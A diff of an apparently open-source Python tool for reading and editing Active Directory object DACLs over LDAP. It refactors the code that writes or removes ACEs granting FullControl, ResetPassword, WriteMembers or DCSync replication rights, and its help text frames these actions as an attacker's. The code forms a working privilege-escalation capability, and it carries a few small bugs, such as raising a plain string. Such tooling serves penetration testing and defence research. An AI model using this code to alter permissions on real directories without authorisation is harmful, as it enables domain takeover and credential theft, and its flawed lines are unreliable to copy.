+ 'S-1-5-19': 'NT Authority', + 'S-1-5-20': 'NT Authority', + 'S-1-5-32-544': 'Administrators', + 'S-1-5-32-545': 'Users', + 'S-1-5-32-546': 'Guests', + 'S-1-5-32-547': 'Power Users', + 'S-1-5-32-548': 'Account Operators', + 'S-1-5-32-549': 'Server Operators', + 'S-1-5-32-550': 'Print Operators', + 'S-1-5-32-551': 'Backup Operators', + 'S-1-5-32-552': 'Replicators', + 'S-1-5-64-10': 'NTLM Authentication', + 'S-1-5-64-14': 'SChannel Authentication', + 'S-1-5-64-21': 'Digest Authority', + 'S-1-5-80': 'NT Service', + 'S-1-5-83-0': 'NT VIRTUAL MACHINE\Virtual Machines', + 'S-1-16-0': 'Untrusted Mandatory Level', + 'S-1-16-4096': 'Low Mandatory Level', + 'S-1-16-8192': 'Medium Mandatory Level', + 'S-1-16-8448': 'Medium Plus Mandatory Level', + 'S-1-16-12288': 'High Mandatory Level', + 'S-1-16-16384': 'System Mandatory Level', + 'S-1-16-20480': 'Protected Process Mandatory Level', + 'S-1-16-28672': 'Secure Process Mandatory Level', + 'S-1-5-32-554': 'BUILTIN\Pre-Windows 2000 Compatible Access', + 'S-1-5-32-555': 'BUILTIN\Remote Desktop Users', + 'S-1-5-32-557': 'BUILTIN\Incoming Forest Trust Builders', + 'S-1-5-32-556': 'BUILTIN\\Network Configuration Operators', + 'S-1-5-32-558': 'BUILTIN\Performance Monitor Users', + 'S-1-5-32-559': 'BUILTIN\Performance Log Users', + 'S-1-5-32-560': 'BUILTIN\Windows Authorization Access Group', + 'S-1-5-32-561': 'BUILTIN\Terminal Server License Servers', + 'S-1-5-32-562': 'BUILTIN\Distributed COM Users', + 'S-1-5-32-569': 'BUILTIN\Cryptographic Operators', + 'S-1-5-32-573': 'BUILTIN\Event Log Readers', + 'S-1-5-32-574': 'BUILTIN\Certificate Service DCOM Access', + 'S-1-5-32-575': 'BUILTIN\RDS Remote Access Servers', + 'S-1-5-32-576': 'BUILTIN\RDS Endpoint Servers', + 'S-1-5-32-577': 'BUILTIN\RDS Management Servers', + 'S-1-5-32-578': 'BUILTIN\Hyper-V Administrators', + 'S-1-5-32-579': 'BUILTIN\Access Control Assistance Operators', + 'S-1-5-32-580': 'BUILTIN\Remote Management Users', +} + + class RIGHTS_GUID(Enum): - WRITE_MEMBERS = "bf9679c0-0de6-11d0-a285-00aa003049e2" - RESET_PASSWORD = "00299570-246d-11d0-a768-00aa006e0529" - DS_REPLICATION_GET_CHANGES = "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2" - DS_REPLICATION_GET_CHANGES_ALL = "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2" + WriteMembers = "bf9679c0-0de6-11d0-a285-00aa003049e2" + ResetPassword = "00299570-246d-11d0-a768-00aa006e0529" + DS_Replication_Get_Changes = "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2" + DS_Replication_Get_Changes_All = "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2" + class ACE_FLAGS(Enum): CONTAINER_INHERIT_ACE = ldaptypes.ACE.CONTAINER_INHERIT_ACE @@ -56,60 +135,49 @@ class ACE_FLAGS(Enum): OBJECT_INHERIT_ACE = ldaptypes.ACE.OBJECT_INHERIT_ACE SUCCESSFUL_ACCESS_ACE_FLAG = ldaptypes.ACE.SUCCESSFUL_ACCESS_ACE_FLAG + class ALLOWED_OBJECT_ACE_FLAGS(Enum): ACE_OBJECT_TYPE_PRESENT = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_OBJECT_TYPE_PRESENT ACE_INHERITED_OBJECT_TYPE_PRESENT = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_INHERITED_OBJECT_TYPE_PRESENT -class ALLOWED_ACE_MASK_FLAGS(Enum): - GENERIC_READ = ldaptypes.ACCESS_MASK.GENERIC_READ - GENERIC_WRITE = ldaptypes.ACCESS_MASK.GENERIC_WRITE - GENERIC_EXECUTE = ldaptypes.ACCESS_MASK.GENERIC_EXECUTE - GENERIC_ALL = ldaptypes.ACCESS_MASK.GENERIC_ALL - MAXIMUM_ALLOWED = ldaptypes.ACCESS_MASK.MAXIMUM_ALLOWED - ACCESS_SYSTEM_SECURITY = ldaptypes.ACCESS_MASK.ACCESS_SYSTEM_SECURITY - SYNCHRONIZE = ldaptypes.ACCESS_MASK.SYNCHRONIZE - WRITE_OWNER = ldaptypes.ACCESS_MASK.WRITE_OWNER - WRITE_DACL = ldaptypes.ACCESS_MASK.WRITE_DACL - READ_CONTROL = ldaptypes.ACCESS_MASK.READ_CONTROL - DELETE = ldaptypes.ACCESS_MASK.DELETE + +class ACCESS_MASK(Enum): + GenericRead = 0x80000000 + GenericWrite = 0x40000000 + GenericExecute = 0x20000000 + GenericAll = 0x10000000 + MaximumAllowed = 0x02000000 + AccessSystemSecurity = 0x01000000 + Synchronize = 0x00100000 + WriteOwner = 0x00080000 + WriteDAC = 0x00040000 + ReadControl = 0x00020000 + Delete = 0x00010000 + WriteAttributes = 0x00000100 + ReadAttributes = 0x00000080 + DeleteChild = 0x00000040 + Execute_Traverse = 0x00000020 + WriteExtendedAttributes = 0x00000010 + ReadExtendedAttributes = 0x00000008 + AppendData = 0x00000004 + WriteData = 0x00000002 + ReadData = 0x00000001 + + +class SIMPLE_PERMISSIONS(Enum): + FullControl = 0xf01ff + Read = 0x20094 + Write = 0x200bc + class ALLOWED_OBJECT_ACE_MASK_FLAGS(Enum): - ADS_RIGHT_DS_CONTROL_ACCESS = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CONTROL_ACCESS - ADS_RIGHT_DS_CREATE_CHILD = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CREATE_CHILD - ADS_RIGHT_DS_DELETE_CHILD = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_DELETE_CHILD - ADS_RIGHT_DS_READ_PROP = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_READ_PROP - ADS_RIGHT_DS_WRITE_PROP = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_WRITE_PROP - ADS_RIGHT_DS_SELF = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_SELF - -# Create an ALLOW ACE with the specified sid -def create_access_allowed_ace(access_mask, sid): - nace = ldaptypes.ACE() - nace['AceType'] = ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE - nace['AceFlags'] = 0x00 - acedata = ldaptypes.ACCESS_ALLOWED_ACE() - acedata['Mask'] = ldaptypes.ACCESS_MASK() - acedata['Mask']['Mask'] = access_mask - acedata['Sid'] = ldaptypes.LDAP_SID() - acedata['Sid'].fromCanonical(sid) - nace['Ace'] = acedata - return nace - -# Create an object ACE with the specified privguid and our sid -def create_access_allowed_object_ace(privguid, sid): - nace = ldaptypes.ACE() - nace['AceType'] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE - nace['AceFlags'] = 0x00 - acedata = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE() - acedata['Mask'] = ldaptypes.ACCESS_MASK() - acedata['Mask']['Mask'] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CONTROL_ACCESS - acedata['ObjectType'] = string_to_bin(privguid) - acedata['InheritedObjectType'] = b'' - acedata['Sid'] = ldaptypes.LDAP_SID() - acedata['Sid'].fromCanonical(sid) - assert sid == acedata['Sid'].formatCanonical() - acedata['Flags'] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_OBJECT_TYPE_PRESENT - nace['Ace'] = acedata - return nace + ControlAccess = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CONTROL_ACCESS + CreateChild = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CREATE_CHILD + DeleteChild = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_DELETE_CHILD + ReadProperty = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_READ_PROP + WriteProperty = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_WRITE_PROP + Self = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_SELF + class DACLedit(object): """docstring for setrbcd""" @@ -135,144 +203,75 @@ def __init__(self, ldap_server, ldap_session, args): cnf.basepath = None self.domain_dumper = ldapdomaindump.domainDumper(self.ldap_server, self.ldap_session, cnf) - def read(self): + # Searching for target account with its security descriptor # Set SD flags to only query for DACL controls = security_descriptor_control(sdflags=0x04) if self.target_sAMAccountName is not None: - self.ldap_session.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(self.target_sAMAccountName), attributes=['nTSecurityDescriptor'], controls=controls) + _lookedup_principal = self.target_sAMAccountName + self.ldap_session.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(_lookedup_principal), attributes=['nTSecurityDescriptor'], controls=controls) elif self.target_SID is not None: - self.ldap_session.search(self.domain_dumper.root, '(objectSid=%s)' % self.target_SID, attributes=['nTSecurityDescriptor'], controls=controls) + _lookedup_principal = self.target_SID + self.ldap_session.search(self.domain_dumper.root, '(objectSid=%s)' % _lookedup_principal, attributes=['nTSecurityDescriptor'], controls=controls) elif self.target_DN is not None: - self.ldap_session.search(self.domain_dumper.root, '(distinguishedName=%s)' % self.target_DN, attributes=['nTSecurityDescriptor'], controls=controls) + _lookedup_principal = self.target_DN + self.ldap_session.search(self.domain_dumper.root, '(distinguishedName=%s)' % _lookedup_principal, attributes=['nTSecurityDescriptor'], controls=controls) try: self.target_principal = self.ldap_session.entries[0] - secDescData = self.target_principal['nTSecurityDescriptor'].raw_values[0] - secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData) - parsed_dacl = self.parseDACL(secDesc['Dacl']) - self.printparsedDACL(parsed_dacl) + logging.debug('Target principal found in LDAP (%s)' % _lookedup_principal) except IndexError: - logging.error('Principal not found in LDAP') - return False - return + raise('Target principal not found in LDAP (%s)' % _lookedup_principal) - def write(self): + # Extract security descriptor data + secDescData = self.target_principal['nTSecurityDescriptor'].raw_values[0] + self.principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData) + + # Searching for the principal SID if any principal argument was given and principal_SID wasn't if self.principal_SID is None: if self.principal_sAMAccountName is not None: - self.ldap_session.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(self.principal_sAMAccountName), attributes=['objectSid']) + _lookedup_principal = self.principal_sAMAccountName + self.ldap_session.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(_lookedup_principal), attributes=['objectSid']) elif self.principal_DN is not None: - self.ldap_session.search(self.domain_dumper.root, '(distinguishedName=%s)' % self.principal_DN, attributes=['objectSid']) + _lookedup_principal = self.principal_DN + self.ldap_session.search(self.domain_dumper.root, '(distinguishedName=%s)' % _lookedup_principal, attributes=['objectSid']) try: self.principal_SID = format_sid(self.ldap_session.entries[0]['objectSid'].raw_values[0]) - pass + logging.debug("Found principal SID to write in ACE(s): %s" % self.principal_SID) except IndexError: - logging.error('Principal not found in LDAP') - return False - logging.debug("Found principal SID to write in ACE(s): %s" % self.principal_SID) + raise('Principal SID not found in LDAP (%s)' % _lookedup_principal) - # Set SD flags to only query for DACL - controls = security_descriptor_control(sdflags=0x04) - if self.target_sAMAccountName is not None: - self.ldap_session.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(self.target_sAMAccountName), attributes=['objectSid', 'nTSecurityDescriptor'], controls=controls) - elif self.target_SID is not None: - self.ldap_session.search(self.domain_dumper.root, '(objectSid=%s)' % self.target_SID, attributes=['objectSid', 'nTSecurityDescriptor'], controls=controls) - elif self.target_DN is not None: - self.ldap_session.search(self.domain_dumper.root, '(distinguishedName=%s)' % self.target_DN, attributes=['objectSid', 'nTSecurityDescriptor'], controls=controls) - try: - self.target_principal = self.ldap_session.entries[0] - except IndexError: - logging.error('Principal not found in LDAP') - return False - if self.target_SID is not None: - assert self.target_SID == self.target_principal['objectSid'].raw_values[0] - else: - self.target_SID = self.target_principal['objectSid'].raw_values[0] - secDescData = self.target_principal['nTSecurityDescriptor'].raw_values[0] - secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData) - if self.rights == "GenericAll" and self.rights_guid is None: + + def read(self): + parsed_dacl = self.parseDACL(self.principal_security_descriptor['Dacl']) + self.printparsedDACL(parsed_dacl) + return + + def write(self): + # if self.target_SID is not None: + # assert self.target_SID == format_sid(self.target_principal['objectSid'].raw_values[0]) + # else: + # self.target_SID = self.target_principal['objectSid'].raw_values[0] + + if self.rights == "FullControl" and self.rights_guid is None: logging.info("Appending ACE (%s --(GENERIC_ALL)--> %s)" % (self.principal_SID, format_sid(self.target_SID))) - secDesc['Dacl'].aces.append(create_access_allowed_ace(ldaptypes.ACCESS_MASK.GENERIC_ALL, self.principal_SID)) - else: - _rights_guids = [] - if self.rights_guid is not None: - _rights_guids = [ self.rights_guid ] - elif self.rights == "WriteMembers": - _rights_guids = [ RIGHTS_GUID.WRITE_MEMBERS ] - elif self.rights == "ResetPassword": - _rights_guids = [ RIGHTS_GUID.RESET_PASSWORD ] - elif self.rights == "DCSync": - _rights_guids = [ RIGHTS_GUID.DS_REPLICATION_GET_CHANGES, - RIGHTS_GUID.DS_REPLICATION_GET_CHANGES_ALL ] - for rights_guid in _rights_guids: - logging.info("Appending ACE (%s --(%s)--> %s)" % (self.principal_SID, rights_guid.name, format_sid(self.target_SID))) - secDesc['Dacl'].aces.append(create_access_allowed_object_ace(rights_guid.value, self.principal_SID)) - dn = self.target_principal.entry_dn - data = secDesc.getData() - self.ldap_session.modify(dn, {'nTSecurityDescriptor': (ldap3.MODIFY_REPLACE, [data])}, controls=controls) - if self.ldap_session.result['result'] == 0: - logging.info('DACL modified successfully!') + self.principal_security_descriptor['Dacl'].aces.append(self.create_access_allowed_ace(SIMPLE_PERMISSIONS.FullControl.value, self.principal_SID)) else: - if self.ldap_session.result['result'] == 50: - logging.error('Could not modify object, the server reports insufficient rights: %s', - self.ldap_session.result['message']) - elif self.ldap_session.result['result'] == 19: - logging.error('Could not modify object, the server reports a constrained violation: %s', - self.ldap_session.result['message']) - else: - logging.error('The server returned an error: %s', self.ldap_session.result['message']) + for rights_guid in self.build_guids_for_rights(): + logging.debug("Appending ACE (%s --(%s)--> %s)" % (self.principal_SID, rights_guid, format_sid(self.target_SID))) + self.principal_security_descriptor['Dacl'].aces.append(self.create_access_allowed_object_ace(rights_guid, self.principal_SID)) + self.modify_secDesc_for_dn(self.target_principal.entry_dn, self.principal_security_descriptor) return def remove(self): - if self.principal_SID is None: - if self.principal_sAMAccountName is not None: - self.ldap_session.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(self.principal_sAMAccountName), attributes=['objectSid']) - elif self.principal_DN is not None: - self.ldap_session.search(self.domain_dumper.root, '(distinguishedName=%s)' % self.principal_DN, attributes=['objectSid']) - try: - self.principal_SID = format_sid(self.ldap_session.entries[0]['objectSid'].raw_values[0]) - pass - except IndexError: - logging.error('Principal not found in LDAP') - return False - logging.debug("Found principal SID: %s" % self.principal_SID) - - # Set SD flags to only query for DACL - controls = security_descriptor_control(sdflags=0x04) - if self.target_sAMAccountName is not None: - self.ldap_session.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(self.target_sAMAccountName), attributes=['nTSecurityDescriptor'], controls=controls) - elif self.target_SID is not None: - self.ldap_session.search(self.domain_dumper.root, '(objectSid=%s)' % self.target_SID, attributes=['nTSecurityDescriptor'], controls=controls) - elif self.target_DN is not None: - self.ldap_session.search(self.domain_dumper.root, '(distinguishedName=%s)' % self.target_DN, attributes=['nTSecurityDescriptor'], controls=controls) - try: - self.target_principal = self.ldap_session.entries[0] - except IndexError: - logging.error('Principal not found in LDAP') - return False - secDescData = self.target_principal['nTSecurityDescriptor'].raw_values[0] - secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData) - compare_aces = [] - if self.rights == "GenericAll" and self.rights_guid is None: - # compare_aces.append(create_access_allowed_ace(ldaptypes.ACCESS_MASK.GENERIC_ALL, self.principal_SID)) - compare_aces.append(create_access_allowed_ace(983551, self.principal_SID)) - # todo : having issues with setting genericall ACEs, puttinf this hard value here to be able to remove a what-seems-like-genericall - pass + if self.rights == "FullControl" and self.rights_guid is None: + compare_aces.append(self.create_access_allowed_ace(SIMPLE_PERMISSIONS.FullControl.value, self.principal_SID)) else: - _rights_guids = [] - if self.rights_guid is not None: - _rights_guids = [self.rights_guid] - elif self.rights == "WriteMembers": - _rights_guids = [RIGHTS_GUID.WRITE_MEMBERS] - elif self.rights == "ResetPassword": - _rights_guids = [RIGHTS_GUID.RESET_PASSWORD] - elif self.rights == "DCSync": - _rights_guids = [RIGHTS_GUID.DS_REPLICATION_GET_CHANGES, RIGHTS_GUID.DS_REPLICATION_GET_CHANGES_ALL] - for rights_guid in _rights_guids: - compare_aces.append(create_access_allowed_object_ace(rights_guid.value, self.principal_SID)) + for rights_guid in self.build_guids_for_rights(): + compare_aces.append(self.create_access_allowed_object_ace(rights_guid, self.principal_SID)) new_dacl = [] i = 0 - for ace in secDesc['Dacl'].aces: - # logging.debug("Comparing ACE[%d]" % i) + dacl_must_be_replaced = False + for ace in self.principal_security_descriptor['Dacl'].aces: ace_must_be_removed = False for compare_ace in compare_aces: if ace['AceType'] == compare_ace['AceType'] \ @@ -284,34 +283,22 @@ def remove(self): and ace['Ace']['Sid']['IdentifierAuthority']['Value'] == compare_ace['Ace']['Sid']['IdentifierAuthority']['Value']: if 'ObjectType' in ace['Ace'].fields.keys() and 'ObjectType' in compare_ace['Ace'].fields.keys(): if ace['Ace']['ObjectType'] == compare_ace['Ace']['ObjectType']: - logging.debug("This ACE will be removed") ace_must_be_removed = True - self.printparsedACE(self.parseACE(ace)) + dacl_must_be_replaced = True else: - logging.debug("This ACE will be removed") ace_must_be_removed = True - elements_name = list(self.parseACE(ace).keys()) - for attribute in elements_name: - logging.info(" %-26s: %s" % (attribute, self.parseACE(ace)[attribute])) + dacl_must_be_replaced = True if not ace_must_be_removed: new_dacl.append(ace) + elif logging.getLogger().level == logging.DEBUG: + logging.debug("This ACE will be removed") + self.printparsedACE(self.parseACE(ace)) i += 1 - secDesc['Dacl'].aces = new_dacl - dn = self.target_principal.entry_dn - data = secDesc.getData() - self.ldap_session.modify(dn, {'nTSecurityDescriptor': (ldap3.MODIFY_REPLACE, [data])}, controls=controls) - if self.ldap_session.result['result'] == 0: - logging.info('DACL modified successfully!') + if dacl_must_be_replaced: + self.principal_security_descriptor['Dacl'].aces = new_dacl + self.modify_secDesc_for_dn(self.target_principal.entry_dn, self.principal_security_descriptor) else: - if self.ldap_session.result['result'] == 50: - logging.error('Could not modify object, the server reports insufficient rights: %s', - self.ldap_session.result['message']) - elif self.ldap_session.result['result'] == 19: - logging.error('Could not modify object, the server reports a constrained violation: %s', - self.ldap_session.result['message']) - else: - logging.error('The server returned an error: %s', self.ldap_session.result['message']) - return + logging.info("Nothing to remove...") def flush(self): # todo but implement a check, it could be a reeeeeaaally bad idea to flush an object DACL @@ -335,17 +322,41 @@ def get_user_info(self, samname): logging.error('User not found in LDAP: %s' % samname) return False + def resolveSID(self, sid): + if sid in WELL_KNOWN_SIDS.keys(): + return WELL_KNOWN_SIDS[sid] + else: + self.ldap_session.search(self.domain_dumper.root, '(objectSid=%s)' % sid, attributes=['samaccountname']) + try: + dn = self.ldap_session.entries[0].entry_dn + samname = self.ldap_session.entries[0]['samaccountname'] + return samname + except IndexError: + logging.debug('SID not found in LDAP: %s' % sid) + return "" + def parseDACL(self, dacl): parsed_dacl = [] logging.info("Parsing DACL") i = 0 for ace in dacl['Data']: - logging.debug("Parsing ACE[%d]" % i) parsed_ace = self.parseACE(ace) parsed_dacl.append(parsed_ace) i += 1 return parsed_dacl + def parsePerms(self, fsr): + # get simple permission + _perms = [] + for PERM in SIMPLE_PERMISSIONS: + if (fsr & PERM.value) == PERM.value: + _perms.append(PERM.name) + fsr = fsr & (not PERM.value) + for PERM in ACCESS_MASK: + if fsr & PERM.value: + _perms.append(PERM.name) + return _perms + def parseACE(self, ace): if ace['TypeName'] == "ACCESS_ALLOWED_ACE" or ace['TypeName'] == "ACCESS_ALLOWED_OBJECT_ACE": parsed_ace = {} @@ -354,61 +365,77 @@ def parseACE(self, ace): for FLAG in ACE_FLAGS: if ace.hasFlag(FLAG.value): _ace_flags.append(FLAG.name) - parsed_ace['ACE flags'] = ", ".join(_ace_flags) + parsed_ace['ACE flags'] = ", ".join(_ace_flags) or "None" if ace['TypeName'] == "ACCESS_ALLOWED_ACE": - _access_mask_flags = [] - # todo : something is wrong here, when creating a genericall manually on the DC, the Mask reflects here with a value of 983551, I'm not sure I'm parsing that data correctly - for FLAG in ALLOWED_ACE_MASK_FLAGS: - if ace['Ace']['Mask'].hasPriv(FLAG.value): - _access_mask_flags.append(FLAG.name) - parsed_ace['Mask'] = ", ".join(_access_mask_flags) - parsed_ace['Sid'] = ace['Ace']['Sid'].formatCanonical() + parsed_ace['Access mask'] = "%s (0x%x)" % (", ".join(self.parsePerms(ace['Ace']['Mask']['Mask'])), ace['Ace']['Mask']['Mask']) + parsed_ace['Trustee (SID)'] = "%s (%s)" % (self.resolveSID(ace['Ace']['Sid'].formatCanonical()) or "UNKNOWN", ace['Ace']['Sid'].formatCanonical()) # todo match the SID with the object sAMAccountName ? elif ace['TypeName'] == "ACCESS_ALLOWED_OBJECT_ACE": _access_mask_flags = [] + # todo check if this access mask parsing is okay for FLAG in ALLOWED_OBJECT_ACE_MASK_FLAGS: if ace['Ace']['Mask'].hasPriv(FLAG.value): _access_mask_flags.append(FLAG.name) - parsed_ace['Mask'] = ", ".join(_access_mask_flags) - parsed_ace['Sid'] = ace['Ace']['Sid'].formatCanonical() + parsed_ace['Access mask'] = ", ".join(_access_mask_flags) # todo match the SID with the object sAMAccountName ? _object_flags = [] for FLAG in ALLOWED_OBJECT_ACE_FLAGS: if ace['Ace'].hasFlag(FLAG.value): _object_flags.append(FLAG.name) - parsed_ace['Object flags'] = ", ".join(_object_flags) - parsed_ace['Sid'] = ace['Ace']['Sid'].formatCanonical() + parsed_ace['Flags'] = ", ".join(_object_flags) or "None" + parsed_ace['Trustee (SID)'] = "%s (%s)" % (self.resolveSID(ace['Ace']['Sid'].formatCanonical()) or "UNKNOWN", ace['Ace']['Sid'].formatCanonical()) if ace['Ace']['ObjectTypeLen'] != 0: obj_type = bin_to_string(ace['Ace']['ObjectType']).lower() try: - parsed_ace['Object type'] = "%s (%s)" % (OBJECT_TYPES_GUID[obj_type], obj_type) + parsed_ace['Object type (GUID)'] = "%s (%s)" % (OBJECT_TYPES_GUID[obj_type], obj_type) except KeyError: - parsed_ace['Object type'] = "UNKNOWN (%s)" % obj_type + parsed_ace['Object type (GUID)'] = "UNKNOWN (%s)" % obj_type if ace['Ace']['InheritedObjectTypeLen'] != 0: inh_obj_type = bin_to_string(ace['Ace']['InheritedObjectType']).lower() try: - parsed_ace['Inherited object type'] = "%s (%s)" % (OBJECT_TYPES_GUID[inh_obj_type], inh_obj_type) + parsed_ace['Inherited type (GUID)'] = "%s (%s)" % (OBJECT_TYPES_GUID[inh_obj_type], inh_obj_type) except KeyError: - parsed_ace['Object type'] = "UNKNOWN (%s)" % inh_obj_type + parsed_ace['Inherited type (GUID)'] = "UNKNOWN (%s)" % inh_obj_type else: logging.debug("ACE Type (%s) unsupported for parsing yet, feel free to contribute" % ace['TypeName']) parsed_ace = {} - parsed_ace['Type'] = ace['TypeName'] + parsed_ace['ACE type'] = ace['TypeName'] _ace_flags = [] for FLAG in ACE_FLAGS: if ace.hasFlag(FLAG.value): _ace_flags.append(FLAG.name) - parsed_ace['Flags'] = ", ".join(_ace_flags) + parsed_ace['ACE flags'] = ", ".join(_ace_flags) or "None" parsed_ace['DEBUG'] = "ACE type not supported for parsing by dacleditor.py, feel free to contribute" return parsed_ace def printparsedDACL(self, parsed_dacl): + if self.principal_SID is None and self.principal_sAMAccountName or self.principal_DN: + if self.principal_sAMAccountName is not None: + _lookedup_principal = self.principal_sAMAccountName + self.ldap_session.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(_lookedup_principal), attributes=['objectSid']) + elif self.principal_DN is not None: + _lookedup_principal = self.principal_DN + self.ldap_session.search(self.domain_dumper.root, '(distinguishedName=%s)' % _lookedup_principal, attributes=['objectSid']) + try: + self.principal_SID = format_sid(self.ldap_session.entries[0]['objectSid'].raw_values[0]) + except IndexError: + logging.error('Principal not found in LDAP (%s)' % _lookedup_principal) + return False + logging.debug("Found principal SID to write in ACE(s): %s" % self.principal_SID) + logging.info("Printing parsed DACL") i = 0 + if self.principal_SID is not None: + logging.info("Filtering results for SID (%s)" % self.principal_SID) for parsed_ace in parsed_dacl: - logging.info(" %-28s" % "ACE[%d] info" % i) - self.printparsedACE(parsed_ace) + print_ace = True + if self.principal_SID is not None: + if self.principal_SID not in parsed_ace['Trustee (SID)']: + print_ace = False + if print_ace: + logging.info(" %-28s" % "ACE[%d] info" % i) + self.printparsedACE(parsed_ace) i += 1 def printparsedACE(self, parsed_ace): @@ -416,31 +443,93 @@ def printparsedACE(self, parsed_ace): for attribute in elements_name: logging.info(" %-26s: %s" % (attribute, parsed_ace[attribute])) + def build_guids_for_rights(self): + _rights_guids = [] + if self.rights_guid is not None: + _rights_guids = [self.rights_guid] + elif self.rights == "WriteMembers": + _rights_guids = [RIGHTS_GUID.WriteMembers.value] + elif self.rights == "ResetPassword": + _rights_guids = [RIGHTS_GUID.ResetPassword.value] + elif self.rights == "DCSync": + _rights_guids = [RIGHTS_GUID.DS_Replication_Get_Changes.value, RIGHTS_GUID.DS_Replication_Get_Changes_All.value] + return _rights_guids + + def modify_secDesc_for_dn(self, dn, secDesc): + data = secDesc.getData() + controls = security_descriptor_control(sdflags=0x04) + self.ldap_session.modify(dn, {'nTSecurityDescriptor': (ldap3.MODIFY_REPLACE, [data])}, controls=controls) + if self.ldap_session.result['result'] == 0: + logging.info('DACL modified successfully!') + else: + if self.ldap_session.result['result'] == 50: + logging.error('Could not modify object, the server reports insufficient rights: %s', + self.ldap_session.result['message']) + elif self.ldap_session.result['result'] == 19: + logging.error('Could not modify object, the server reports a constrained violation: %s', + self.ldap_session.result['message']) + else: + logging.error('The server returned an error: %s', self.ldap_session.result['message']) + + def create_access_allowed_ace(self, access_mask, sid): + nace = ldaptypes.ACE() + nace['AceType'] = ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE + nace['AceFlags'] = 0x00 + acedata = ldaptypes.ACCESS_ALLOWED_ACE() + acedata['Mask'] = ldaptypes.ACCESS_MASK() + acedata['Mask']['Mask'] = access_mask + acedata['Sid'] = ldaptypes.LDAP_SID() + acedata['Sid'].fromCanonical(sid) + nace['Ace'] = acedata + return nace + + def create_access_allowed_object_ace(self, privguid, sid): + nace = ldaptypes.ACE() + nace['AceType'] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE + nace['AceFlags'] = 0x00 + acedata = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE() + acedata['Mask'] = ldaptypes.ACCESS_MASK() + acedata['Mask']['Mask'] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CONTROL_ACCESS + acedata['ObjectType'] = string_to_bin(privguid) + acedata['InheritedObjectType'] = b'' + acedata['Sid'] = ldaptypes.LDAP_SID() + acedata['Sid'].fromCanonical(sid) + assert sid == acedata['Sid'].formatCanonical() + acedata['Flags'] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_OBJECT_TYPE_PRESENT + nace['Ace'] = acedata + return nace + + + def parse_args(): parser = argparse.ArgumentParser(add_help=True, description='Python editor for a principal\'s DACL.') parser.add_argument('identity', action='store', help='domain.local/username[:password]') - parser.add_argument("-principal", dest="principal_sAMAccountName", type=str, required=False, help="Principal to add in an ACE when writing in a DACL") - parser.add_argument("-principal-sid", dest="principal_SID", type=str, required=False, help="Principal to add in an ACE when writing in a DACL") - parser.add_argument("-principal-dn", dest="principal_DN", type=str, required=False, help="Principal to add in an ACE when writing in a DACL") - parser.add_argument("-target", dest="target_sAMAccountName", type=str, required=False, help="Target principal the attacker wants to read/write the DACL of") - parser.add_argument("-target-sid", dest="target_SID", type=str, required=False, help="Target principal the attacker wants to read/write the DACL of") - parser.add_argument("-target-dn", dest="target_DN", type=str, required=False, help="Target principal the attacker wants to read/write the DACL of") - parser.add_argument('-action', choices=['read', 'write', 'remove'], nargs='?', default='read', help='Action to operate on the DACL') - parser.add_argument('-rights', choices=['GenericAll', 'ResetPassword', 'WriteMembers', 'DCSync'], nargs='?', default='GenericAll', help='Rights to write/remove in the target DACL') - parser.add_argument('-rights-guid', type=str, help='Manual GUID representing the right to add to the target') parser.add_argument('-use-ldaps', action='store_true', help='Use LDAPS instead of LDAP') parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') - group = parser.add_argument_group('authentication') - group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') - group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') - group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) ' - 'based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line') - 